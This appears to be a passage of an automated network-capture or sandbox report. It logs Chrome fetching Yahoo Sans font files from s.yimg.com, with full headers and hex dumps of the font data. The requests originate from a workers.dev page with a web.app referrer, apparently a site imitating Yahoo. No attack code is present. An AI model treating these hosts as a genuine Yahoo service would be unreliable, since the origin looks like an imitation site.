2024-04-27 22:41:38 UTC	1300	IN	Data Raw: e2 7a c3 7c ac f1 36 2f 74 67 e5 ce 7b 1d 88 bf 4c 76 2e bd a2 b4 98 b2 21 a2 a1 4b 91 86 a7 10 5d ea ab 98 0a ac 5a 56 e2 ca 3c 30 c2 e8 9a 67 57 1f d6 a5 96 00 b0 de 88 e8 ff 68 ee 2c 91 b8 30 64 94 83 23 78 30 36 e3 dd 05 44 c1 50 e5 c3 94 cf b5 d8 38 18 78 88 8b 1f e3 61 2e 62 39 6c 7e 79 e9 34 93 8e 34 ff 98 05 7f 84 5b 06 4a a6 d9 79 8f 94 b6 70 85 e2 4c 18 7b 5f ed dd 19 3f bb 9d 8d 89 29 53 9e 4d bf cd ce 9d 19 9a 8c e4 42 06 02 86 b8 36 6a 81 4e 4d 1d 23 73 95 cf 51 7d e5 ab 8a 06 c8 8a 99 28 38 4a 6a 19 f1 54 e5 12 1d 78 96 d4 68 57 5e cc 21 8e d1 1b c9 39 ba f5 09 46 ec 60 a8 0d c3 8e a5 4c f9 d8 15 1d ed b6 23 0c c9 05 09 93 b6 e8 e3 42 d7 86 2a 32 8a 88 6c 27 c5 6b 7f ff 2e 19 ef 81 bc dd 55 5e 73 35 90 11 c3 78 42 71 f9 c5 59 26 35 e5 e5 a0 Data Ascii: z\|6/tg{Lv.!K]ZV<0gWh,0d#x06DP8xa.b9l~y44[JypL{_?)SMB6jNM#sQ}(8JjTxhW^!9F`L#B*2l'k.U^s5xBqY&5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49771	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	617	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://validated.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:38 UTC	1084	IN	HTTP/1.1 200 OK x-amz-id-2: 09Kr7M0QgmITGaeMMFVByyahjQ4YaQc8h6YCDdxqcxl7bxw98Fu6SViLJMkjlANBWvjfVpzPG8g= x-amz-request-id: 332G8KN4QNNKMW57 Date: Thu, 04 Apr 2024 12:34:46 GMT Last-Modified: Thu, 19 Apr 2018 16:25:50 GMT ETag: "7c7c02dcee2bf1c2528db6092d4ad1fa" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:52 GMT x-amz-meta-mbst-etag: "YM:1:1bb49599-26ac-442e-b6b8-f4e40f067ea500055a9e855b6ecb" x-amz-meta-x-ysws-mbst-vtime: 1507011772247755 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 29228 Referrer-Policy: no-referrer-when-downgrade Age: 2023613 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 72 2c 00 10 00 00 00 01 85 34 00 00 71 c9 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 af 28 1c 95 54 06 60 00 89 54 08 81 12 09 82 73 11 0c 0a 82 ef 24 82 cb 34 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 08 07 98 2c 0c 89 42 5b 94 6e 71 05 e7 e6 c4 bf 57 50 a0 9e 80 91 bf 53 b7 ee 62 05 ca 6d 17 40 77 20 75 2a 95 a5 ab 60 c7 5e 04 36 0e 00 42 ff d9 b2 ff ff ff 4f 4d 2a 32 66 1a 46 da b2 0d 10 dc 55 e5 0a 31 41 cc 23 c2 a6 1b 87 72 59 c2 2a ab 07 62 91 09 84 9b d6 23 82 c8 b1 52 c7 06 61 9f e3 0d 87 d1 89 7b 2e 63 d8 fc a3 92 ad 26 5d f0 87 9b c0 93 b8 4f 3e 5e 58 71 b7 cd f4 69 8d 3b 57 c1 4c 3c f1 46 bf 0f d4 3a 3e 13 9a d8 0a d1 97 4a 5c e4 ff c4 25 db 36 d3 31 10 dc 9d e9 0c 2c 56 05 6e Data Ascii: wOF2r,4q(T`Ts$46$0 ,B[nqWPSbm@w u`^6BOM2fFU1A#rY*b#Ra{.c&]O>^Xqi;WL<F:>J\%61,Vn
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 3d f6 f7 72 75 47 99 e3 2e 40 0c 75 b1 69 d6 a4 df 5e 9f 90 39 59 19 b0 65 23 d9 12 e6 ae 85 78 fd 59 de 98 bd 74 a7 54 56 a2 7b 1d 30 25 16 47 49 69 1f 3f 68 f5 bc 10 e5 a3 a9 00 8b 6c 50 09 3b e1 a4 80 08 e0 de 71 6d 7a 22 e8 23 00 ad 16 60 3b 1a c7 5e 36 93 02 cb cf b0 08 0a ec bf 07 07 50 e0 fe 23 38 90 02 df 0b c2 fc 29 f0 03 ad 16 08 b4 5a 60 0c 71 48 40 8d 27 37 0d fd f6 1b 53 13 c1 7a 6a 03 42 3e 02 06 de ff 59 cb 63 a0 a4 22 80 f7 d7 44 3d af af 83 1c fa c3 71 b9 62 cc 1a bb c7 c8 24 9c 62 a6 35 53 ea 94 3d 1d 5d 78 7c 6a 5d 48 87 33 6e 98 de 8a 50 3e 94 3f 0b 47 79 9b 6f eb 89 f2 b9 3c 2d ba 7d bb f1 45 2a 86 94 c3 b9 13 38 b4 da 70 47 69 5c a0 57 69 b4 e7 e6 a7 05 5d 6c 79 d6 ec b6 8c da 70 22 02 99 30 46 b1 b1 f6 9c 1d b7 2f 95 16 8c 09 92 21 Data Ascii: =ruG.@ui^9Ye#xYtTV{0%GIi?hlP;qmz"#`;^6P#8)Z`qH@'7SzjB>Yc"D=qb$b5S=]x\|j]H3nP>?Gyo<-}E*8pGi\Wi]lyp"0F/!
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: da b3 e0 31 39 0e e6 72 db 58 74 ef f4 7d 19 3c 43 38 d1 e9 75 ed ed 9a 01 f4 5c 98 a6 81 88 32 5a 3c 87 7e 93 e8 b4 e1 fd 3f 4e 9b 70 5f cf bc 1e 88 31 55 1d 5a eb da b8 6a 57 ac dd 46 2f 7d fa b7 54 6e f7 20 e1 ec b4 41 14 a4 dd 4b a6 2b a2 a9 58 6a e0 d8 18 28 8b 36 d8 7b f3 e7 49 d5 85 8a 2e a3 e4 d9 35 9e b0 5d 0d 06 55 97 8a ae 56 82 ab 94 b6 0a 58 3c 30 35 52 6a 7b 3d 0c 3a 22 11 74 36 83 b6 44 07 db 86 0f 29 60 d2 a6 95 68 10 8a 85 60 46 54 2d d0 94 a2 41 3b 36 34 fb 9b 39 90 f3 f4 1c 97 d5 b8 6e ca 7d 8d 2e 34 76 43 d7 98 94 cd bd 6d 1b 09 9b 4b db 10 05 71 4f 33 86 42 52 91 76 23 d9 1c 58 c2 94 a0 44 39 ae 85 53 95 f0 3f c3 54 d1 98 cc fe b6 1c 6a cb e1 5e 39 d2 8a e3 0d 9c ea b6 22 7a 4a 58 2b 65 a7 ac 1d e7 1a 38 df 9c ca b6 d5 b4 a3 b6 53 e3 Data Ascii: 19rXt}<C8u\2Z<~?Np_1UZjWF/}Tn AK+Xj(6{I.5]UVX<05Rj{=:"t6D)`h`FT-A;649n}.4vCmKqO3BRv#XD9S?Tj^9"zJX+e8S
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: d1 a3 14 71 98 5d 64 43 ca 26 8f 81 a5 17 1e 4d 49 94 eb b9 9e 39 88 f2 55 de 0a d3 5e 61 bd 2e 5a 31 89 f8 2a a1 34 1d 0f 1b 09 05 00 5e 59 01 83 c1 9a 17 71 4e a9 88 c5 5d fe ac 0b 35 ef 46 14 3e 7b 91 75 7d ef 7f 09 0d ba bf c9 b1 de 7b 9f bd f3 a2 74 90 ee 6c 19 fd 46 d2 1d c3 1c 4c 49 9f 39 92 ba 5d 44 c3 79 f5 00 76 36 cd 46 a2 f9 51 26 e0 9b 8d b3 0f 23 5c 5c 89 73 8a 03 9b ef ab 7d 73 98 82 2d 17 e4 e6 0e df c5 b3 b5 eb ea ae bb f9 b6 d2 34 be e2 a9 bf be 39 2c f8 b7 90 35 b4 79 15 95 fd 6b ca 87 d9 9e 70 2c 28 d8 e6 0d 31 87 cc 3f 79 a7 16 57 dd 4b 24 a4 65 c6 e5 8e e5 87 74 ab e5 0c dc 43 8e 33 4d 61 e9 2b b8 0b b3 30 c1 70 21 4f 50 e7 6b 3c 18 16 d4 e7 62 85 cc 9c f5 da ed f5 07 8b dd 69 2f 81 4b 62 e7 a1 97 36 ee 69 36 c1 09 d0 1c 53 f8 dd 17 Data Ascii: q]dC&MI9U^a.Z1*4^YqN]5F>{u}{tlFLI9]Dyv6FQ&#\\s}s-49,5ykp,(1?yWK$etC3Ma+0p!OPk<bi/Kb6i6S
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: ea bc 42 f2 44 e5 ee 6d fb a1 c7 dd 6c 29 92 8f 28 3d 10 98 46 ab 77 80 67 56 59 d9 d2 10 97 55 a2 5c 76 6d 3b b8 aa 4e 3a d4 a0 7e ae 5a af 33 29 f6 f8 92 16 9f c2 ad b8 46 dc a6 df 36 1d 01 1b 81 44 d2 30 48 ec 02 0d 30 cd 7c 3e 4f e3 00 33 ce c1 d3 32 a8 48 5a 4c 9b 14 d1 5b d5 db 98 1b 80 67 cd fc c2 cb 4a 17 cb 86 8a c7 33 13 3a 7d cb a8 ac e0 fc 85 b8 2b d5 ea 16 36 57 ca bd 61 35 85 c5 24 5b b1 72 ed e4 f8 51 58 78 9e ab fe b4 bc 4a 71 25 5e e9 dd 0e d7 14 17 75 cc a7 8b f8 19 0b 7c 05 80 60 9a ff b0 db 9b 68 e2 db 55 02 ea 75 ee 77 82 60 61 fd 5a 94 d0 ab 57 74 f8 f5 24 3c 6f 85 66 48 2b 79 19 89 fa a9 b9 c4 ad f4 a6 91 58 5f 41 2e 59 01 a0 3b 4b d9 e1 a7 55 0f 98 79 1c 2e 30 31 8f 30 a2 7e ec 56 15 8b 96 95 cd ae 1d 2f e6 1c 95 cd 16 66 f9 c9 d7 Data Ascii: BDml)(=FwgVYU\vm;N:~Z3)F6D0H0\|>O32HZL[gJ3:}+6Wa5$[rQXxJq%^u\|`hUuw`aZWt$<ofH+yX_A.Y;KUy.010~V/f
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: d4 02 3f bd 95 2c 2e a7 32 64 5b c3 c9 b8 65 b3 66 39 f8 c4 27 fd 65 d1 d1 b7 08 5f 27 55 45 9b 53 c1 ec e1 8d 9c 75 d5 a0 e5 fa 28 f5 9c 20 d0 db 3c 21 19 b7 c1 15 8d 86 09 c3 98 44 f5 2b 10 31 b1 9a 44 aa af 90 41 e1 a9 ff 4b 4e 06 a8 80 75 17 ea c0 1b 2f 58 79 f9 e7 70 8f 77 8e fc 24 35 94 cc d4 bc 01 c6 ec c9 11 c2 79 5f 91 6d a9 1a f6 92 cf f3 19 d2 30 42 db 54 a5 26 f3 fe 73 26 57 a4 cb 5c 5f 8a 41 27 ef 21 29 7e 41 44 05 89 0f e0 7d ab 91 38 aa a4 b2 f7 a9 d8 2e c4 df 56 17 e7 df 28 65 a5 84 59 d1 93 ac f3 c7 55 39 7d 75 d8 9d 42 5e 89 06 d3 d9 03 66 6b d2 4f 6d c8 b6 c6 7d 12 6e 1e 37 5a 96 10 8a b5 73 76 d6 12 f6 41 3a 43 13 26 b3 7e fa 06 7b 38 30 84 f8 52 24 ca 3f 03 85 07 f4 c5 98 38 ee a8 c1 78 56 7f fa b7 97 12 27 26 7c fd 61 e2 8a 27 45 27 Data Ascii: ?,.2d[ef9'e_'UESu( <!D+1DAKNu/Xypw$5y_m0BT&s&W\_A'!)~AD}8.V(eYU9}uB^fkOm}n7ZsvA:C&~{80R$?8xV'&\|a'E'
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: e3 d6 d5 cb d0 c8 cb 3f 58 11 8f fe 0c bc f1 3a fd e7 5d 67 09 a9 e8 ce eb f8 fd b6 12 57 a1 89 57 85 b3 e5 69 e8 b1 90 bc d8 2f 5f 87 ef bf bf 3e 01 bd bf 23 20 44 80 cf 96 5d 42 6d 84 91 e3 1e 70 bc 5c 3c 3d 36 0b 80 c1 9b 44 4a 42 49 4b 12 fc 60 a8 cd 80 ab 28 f1 75 ad 1e 0f c0 b7 1a d3 c6 d2 91 3d aa c7 9f e3 df c9 7c 0a 9b d2 e7 5a e7 06 e7 46 e7 26 66 04 4d 39 9b 3f 6b 9f fd 9c 57 cc c7 a2 01 c1 80 a7 f6 82 0d 5e c4 8f 78 28 aa 00 ec 7b 1a 2c fc 84 a1 01 eb 39 8a b2 c9 71 17 8d f9 1c 19 eb cc ca d2 6c ca fe 94 a7 3b a3 79 9c af c5 c0 74 cb bc 9c 6b 06 1c 7b ae fe 29 53 26 90 36 03 87 47 0b 6b 83 14 70 bc 30 ef 95 b2 e6 e2 90 c9 24 a4 4a 74 34 fd 05 47 3f 0e 06 8f 08 18 98 73 96 c8 e4 34 a4 05 91 34 33 77 e0 b0 bc 62 cf 15 18 d3 5b ca 24 16 d2 82 28 Data Ascii: ?X:]gWWi/_># D]Bmp\<=6DJBIK`(u=\|ZF&fM9?kW^x({,9ql;ytk{)S&6Gkp0$Jt4G?s443wb[$(
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: f6 54 5a 32 6e 42 2e 3a 9c 8c 04 e9 2b a3 cb cb 50 80 1e 1f 03 7e c6 c2 a4 a2 5d 2b 50 c9 54 55 3a 03 68 22 b7 49 89 6e 5a 1c 44 3c 24 22 c4 42 28 e5 64 2a c4 4b b2 4e 82 44 c9 56 37 30 6c d3 da be 81 fe 54 04 54 fd 9f 5c d5 df b6 4c 28 12 d3 12 a9 4c 6e c0 28 7e bc 47 bd 1d ec e3 81 2d 07 ba 51 ba 53 7a 50 7a 52 fd 72 40 b7 b2 55 f7 e6 fb 58 dc 83 cf f2 31 fe 57 1c 06 87 84 86 85 47 20 fc a3 41 f2 05 96 fb d7 a7 4b c0 83 37 6f dd 9e 6d 8f bd 0e d8 ef a0 c3 0e 39 e2 98 13 8e 3b e9 94 62 45 4a 94 3a ed 8c 32 67 9d 77 4e 95 4a d5 6a 0c fc 66 f9 8a 95 43 bf db 27 6e f5 b5 df ae 02 0f 55 01 c0 0d 00 80 5b 52 c0 0b 55 48 5b 06 f8 c6 3d b8 35 75 f8 07 e9 1b 77 ab d7 a0 43 a7 5e 7d ba 74 2b 07 de ae d1 95 5e bb 33 18 36 7e df a3 bf f5 b7 1d eb 77 6e db 25 53 96 Data Ascii: TZ2nB.:+P~]+PTU:h"InZD<$"B(d*KNDV70lTT\L(Ln(~G-QSzPzRr@UX1WG AK7om9;bEJ:2gwNJjfC'nU[RUH[=5uwC^}t+^36~wn%S
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: d3 54 b7 8e be e6 0d 85 00 79 1d d0 15 dc 23 58 8f 0b 1c 70 d5 75 84 15 47 40 82 ad 62 b2 c2 bb fa 84 2c 58 b6 88 37 80 17 99 1e 43 ab 12 31 e8 36 d6 3d 5b 2b 7f e8 de 47 de 55 7e e0 02 16 4a 59 82 09 2a f3 81 ca 4c 78 d9 c5 a4 c6 dc 58 6d b7 09 1c 4b 71 54 64 c0 90 85 f4 8f 5b b7 a6 bb b3 b3 9f 1e 7c a3 df a7 42 5f 7f f1 2c 02 8a ee 46 57 44 fc d5 b5 8e 07 b7 af 6e 5e 49 9e 0c 6d 66 69 4e 60 9d 89 25 7f 0b a5 1b d2 a3 e3 a8 33 39 d8 0d c6 3e 93 3e 3f cc 46 3f bd 0a a8 a9 1c 4d af c7 98 15 f8 71 1d aa 06 a0 d0 5e df 42 0f 04 cf 14 55 37 ca 80 85 31 ba d7 87 3a 64 48 96 44 43 39 c5 67 14 d0 0c bf 67 08 10 c2 f0 de 51 a1 67 7e 7d c1 f2 46 86 cc a1 7c d8 5e 71 d8 c8 8e 36 55 91 c1 30 25 ac 52 c8 84 68 b6 cf 6c a4 bc 22 e8 f1 03 98 04 9e 38 40 2f 87 77 48 40 Data Ascii: Ty#XpuG@b,X7C16=[+GU~JY*LxXmKqTd[\|B_,FWDn^ImfiN`%39>>?F?Mq^BU71:dHDC9ggQg~}F\|^q6U0%Rhl"8@/wH@
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 59 57 87 b6 9e 0c 3a 63 50 75 95 8c c3 97 12 39 92 a1 4b fe 2a d5 65 60 15 a3 9c ea df e8 58 ea 14 19 0d 4a c6 ca ca 6a 74 6c 72 69 d9 f5 a9 6a 7d a3 54 a4 08 76 d6 1d a0 ea f3 60 ae a8 f3 93 cf 41 a7 fb 4e 82 8a c0 22 9a 8a b4 9a 51 b4 cd ba b1 f0 52 f4 3f e9 84 c7 45 9f ed 44 c4 a6 63 70 0a 25 3b 50 6e e1 5f 83 e9 05 54 96 c5 d4 60 8e bb f6 f8 e9 76 c7 9e 00 01 d3 73 e9 99 f9 df c3 0f 75 4a fb 65 fc ba 91 51 1a 89 31 84 98 dd 52 7e c0 8f 33 0a 85 90 95 f8 45 3e 82 2a 03 8d 73 10 69 f5 22 73 98 87 4c 8d c9 62 ec c7 f3 97 2c 5b 2d 15 91 45 14 76 f0 60 80 14 04 2a df 8b 6c 7d df f5 6d 48 d0 c4 06 b5 04 98 4b 34 fc 5e 33 9e 40 d3 c0 98 17 50 c7 fd 81 29 cd de 26 8f 8f 7a 47 f8 1e 59 d5 da e2 a6 54 a7 53 ee e6 f5 ac b9 f7 72 24 66 5a 92 65 71 31 ab 83 30 55 Data Ascii: YW:cPu9Ke`XJjtlrij}Tv`AN"QR?EDcp%;Pn_T`vsuJeQ1R~3E>si"sLb,[-Ev`*l}mHK4^3@P)&zGYTSr$fZeq10U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49769	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	615	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Bold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://validated.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:38 UTC	1083	IN	HTTP/1.1 200 OK x-amz-id-2: mSl3xWTM9aP/jb9LxS+GxO3UOCferp3BrBvSOURB3iwQZiG4WFkp8EOG+onU4tFas4fIgbB86hg= x-amz-request-id: GGJY10QZPTDGJFDB Date: Sun, 21 Apr 2024 09:30:15 GMT Last-Modified: Thu, 19 Apr 2018 17:20:37 GMT ETag: "58b9e3ca84accc5d50ac893317cd6705" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:52 GMT x-amz-meta-mbst-etag: "YM:1:5893a8ed-f86d-4278-b1dc-94c16c36132200055a9e85598641" x-amz-meta-x-ysws-mbst-vtime: 1507011772122689 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 28108 Referrer-Policy: no-referrer-when-downgrade Age: 565884 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d cc 00 10 00 00 00 01 86 2c 00 00 6d 6a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 ac 1c 1c 95 54 06 60 00 89 54 08 81 0a 09 82 73 11 0c 0a 82 f3 68 82 ce 58 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8c 64 07 98 2c 0c 8a 2e 5b ec 6e 71 07 e7 e6 44 e1 51 50 b9 6d 00 50 d0 ca f9 f6 1a 0a 38 27 cd 73 3b a0 13 6d bd 93 a8 60 c7 5e 04 36 0e 10 e0 ff 63 66 ff ff ff ff b9 49 45 c6 4c 3a 4c db 6d 03 50 45 44 7f 85 d8 15 e1 48 41 51 33 92 23 e0 a1 e6 7d d4 4a f3 f0 4c 5f 3a 7c a6 5c 03 5b ba b9 14 cd d7 c0 8d ee 17 97 d6 43 81 3d 0c 77 53 32 5d 32 05 59 32 65 df 1a ae 4f 38 22 e1 48 72 9e 2b d5 23 2d 5f 17 6a 14 e8 34 a8 4d 70 77 ee b8 8e 86 7c 68 29 7b ed 62 9f fc 3c cd 65 60 bf 9f 81 2c db 49 dc Data Ascii: wOF2m,mjT`TshX6$0 d,.[nqDQPmP8's;m`^6cfIEL:LmPEDHAQ3#}JL_:\|\[C=wS2]2Y2eO8"Hr+#-_j4Mpw\|h){b<e`,I
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 83 dc 45 8a 52 05 51 b2 41 2e f8 a7 bf 6f fa d7 1a 7f 82 6d a4 01 26 fa ce bd ed 0b 78 b8 d9 8a a5 16 68 9e ef fb 63 3e 37 c1 66 db 0a a8 11 23 c3 52 62 a9 fd dd 3e df 79 be f3 d7 7f f7 a4 0f fd d1 b7 cd 22 0f 11 29 4e a7 14 09 21 94 10 82 38 0b ff db 9d 54 35 95 3e 69 98 a1 e7 be 6f b4 31 46 6b 51 22 22 a2 94 52 4a 89 58 fb f6 6a 66 e1 4a 53 9a 9b 9c 18 37 4c 64 2c 13 f2 0e 23 42 4a ff 74 34 8f ab c7 31 ff c7 1a ef 6d 2d 92 e8 c8 c8 51 ff f0 e7 fc 46 df 1a 9f 16 3b 1d 1d 2c 0d 90 40 d6 b8 03 7c 0d 15 60 6e be 83 b0 e3 4f d4 58 02 ec 6f bf a6 b6 32 c0 09 02 d0 69 08 d8 16 f2 98 4b 65 00 78 7d 89 b3 00 10 f0 7d b4 06 80 88 9f a3 b5 00 f4 3b df 94 01 c0 30 d0 69 08 02 9d 86 60 49 c1 15 42 21 1f d4 0c cc db 6e f0 57 06 78 cf 3d 80 90 8f 80 81 5f 3c 9c 35 ee Data Ascii: ERQA.om&xhc>7f#Rb>y")N!8T5>io1FkQ""RJXjfJS7Ld,#BJt41m-QF;,@\|`nOXo2iKex}};0i`IB!nWx=_<5
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 8f 81 92 42 b7 8d aa 1a 5f b1 a6 ee 5a 91 2e e5 b7 72 fe be cf 3f 50 f8 08 3e e6 77 a8 e5 7e 7d b6 f8 24 00 a9 cf 58 99 89 4f 3c de d2 12 0d ae 7d 6c 69 81 31 de 8b 2e c6 89 8c d9 d5 31 c2 2e a9 e6 1c 16 0e 6b e2 52 d1 e2 5d 51 4d 6c 80 55 7a f6 8e aa b7 80 0e 86 4d 44 bb aa 1e b0 c8 d1 76 3b 25 90 a2 a2 10 ad 20 63 36 32 b6 61 7c 02 df ad c4 fb 4c 1d a5 78 65 36 6e 07 77 a8 ef 54 63 a7 e1 0c 9c 6d 39 97 ec 7c 52 68 88 0d 44 c2 42 04 ff d7 bb 18 74 b3 ab 65 af 0e de 97 d9 df 8c 2d d3 23 ab 63 90 f3 69 fd 4b b9 ab 85 6b d1 93 55 7f 86 01 2b 6d ae 8c a7 76 35 d9 f5 fa 6a f5 1d 5f 65 42 63 26 a2 ac 3e cc a7 bd 6a b1 7a 7b 5e b4 04 8d 02 aa ad 12 c9 98 36 a6 3d 35 b7 a5 1a 1f 1d e2 73 ed 7c 54 5e d3 78 61 b8 31 58 36 1b 79 9a 2b c8 20 20 77 46 5e 0d 56 00 88 Data Ascii: B_Z.r?P>w~}$XO<}li1.1.kR]QMlUzMDv;% c62a\|Lxe6nwTcm9\|RhDBte-#ciKkU+mv5j_eBc&>jz{^6=5s\|T^xa1X6y+ wF^V
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: f7 d8 e3 05 7c ec 81 a0 b7 42 fc 07 0f 97 77 ca d4 7b 88 5e 52 f9 8f 9e 72 21 9b de 71 b8 41 54 c4 ca f1 c5 51 c1 86 da bd e3 0b 55 82 18 9d 2b ca dc e4 2b 3f ab 95 e5 78 41 d2 82 66 0a e9 fe 08 bd 18 7e 29 84 9b 17 5a d5 eb 2d c5 89 c5 ef 50 80 27 00 e0 51 e5 18 dc 48 d8 fb 4a c3 f1 1a 70 bb de ed 55 f3 b3 62 7d 2e 4b ad 24 93 dc 2f 5e f0 2f 8e 47 cc 81 39 08 40 62 d1 7c c0 95 2d 25 e3 5d 84 72 f8 50 10 6d a1 e7 11 e3 80 93 1b 54 c6 98 68 cd 44 cc 86 a6 3d 36 02 c3 fc a7 2b a2 67 d7 f2 6a 2f 67 14 77 d4 74 d2 f0 2b 11 c2 55 9e 0a 77 6b 8a f8 92 ff 63 12 f9 77 87 03 b8 b6 56 d6 5a 82 60 99 f4 94 0b 34 61 0e 06 1e c5 9d 4e e5 6e 15 77 b4 cb 29 70 ca 53 23 02 94 92 98 e8 60 36 33 b4 8b 79 a1 2d 12 f6 70 e3 07 b5 77 a6 7c f3 63 a4 6b b9 3c 23 05 06 12 38 0a Data Ascii: \|Bw{^Rr!qATQU++?xAf~)Z-P'QHJpUb}.K$/^/G9@b\|-%]rPmThD=6+gj/gwt+UwkcwVZ`4aNnw)pS#`63y-pw\|ck<#8
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 0e 88 55 a2 b5 67 99 60 57 bb 23 52 63 0e b8 45 84 ab c7 41 64 07 2d 9b 07 a7 dc 1b 48 05 a4 27 ff 1f 35 23 e9 1a 56 c6 8c fe 80 b9 70 76 97 b1 a8 dd 06 92 87 c2 61 10 19 74 42 1e ad 9a c4 12 98 8a 0c 27 f2 2d 7d 89 eb 22 fc ce a5 3d a1 2e d9 9f d4 fa a2 a8 40 1b 52 d1 32 e7 57 c8 7a ad 2b f2 0e 09 93 3e be a7 ad dc 6e fa b3 31 c3 a1 76 07 68 46 09 6c 7b a5 cf e8 52 7b 10 4d 88 36 24 6a ec c2 d0 44 bd f7 2e 15 3e 98 59 85 3f 64 5c 7a 7a f1 0d 98 f5 5b 0d 4d d4 ee b3 4f 2b f5 92 3b cd 7c 59 f8 be 30 7a 19 d1 d2 dd 21 9b f2 2b 0c 5c 4d 4a 4d 64 73 b1 2f 1a ae 27 50 f5 9e 00 10 80 83 8a 77 64 80 61 1b db c1 67 dc c3 bb fd d2 17 53 eb db 2c 22 96 9a 7f 74 f1 74 d7 c6 72 9d 7b c1 3a 81 cc 70 b0 e4 0b a7 bc 3c a4 7c e4 04 b5 29 9e de b7 21 47 0f 96 0d ed b6 86 Data Ascii: Ug`W#RcEAd-H'5#VpvatB'-}"=.@R2Wz+>n1vhFl{R{M6$jD.>Y?d\zz[MO+;\|Y0z!+\MJMds/'PwdagS,"ttr{:p<\|)!G
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 98 de 8f 01 00 f7 20 92 e3 cb ff 1e 00 fa 92 88 d0 76 76 a8 e2 f3 01 a0 50 b8 25 fd 80 71 2d 56 3b 97 87 94 3d af d6 4d ba 26 b8 2a d2 24 05 71 14 99 f5 c8 1a 08 1c e5 4d 69 57 7c cb af e9 30 b1 88 98 3b f9 5a 10 03 4e fe 62 ba 2c 34 00 30 a3 a6 75 91 f6 24 f3 ca 6e 9f d6 40 0d 2d f1 8d 66 0f c6 8b 89 68 0e d0 79 50 0c 2e 14 6f 1b 31 d6 37 dd 8a 45 d4 37 f2 45 6d 33 16 dd 98 a4 4b e5 cb e6 4e 3a b5 bd 0b 00 d9 4a f5 aa b5 9f cd ec 1d 20 c9 3c cb b3 8f 5e 60 2c b3 db 26 2c 40 ef ca e1 1d 75 10 00 cc f7 4a 7f 16 56 83 13 48 d0 bc b9 b5 c1 ee 8b 66 fe 4c 2c 39 29 8f e5 63 f9 57 fe 1f a8 d7 10 61 b4 3b fc b1 2c 26 66 c5 94 32 b5 a9 1f 5d f1 5c b6 1e a6 8e 5c 63 c6 9a 60 22 8f 23 11 cb 55 68 2d ee 90 9a 0c 8f 89 ca 3c a5 ce ea 09 a7 8a 8f 23 6a dc 57 e9 6d de Data Ascii: 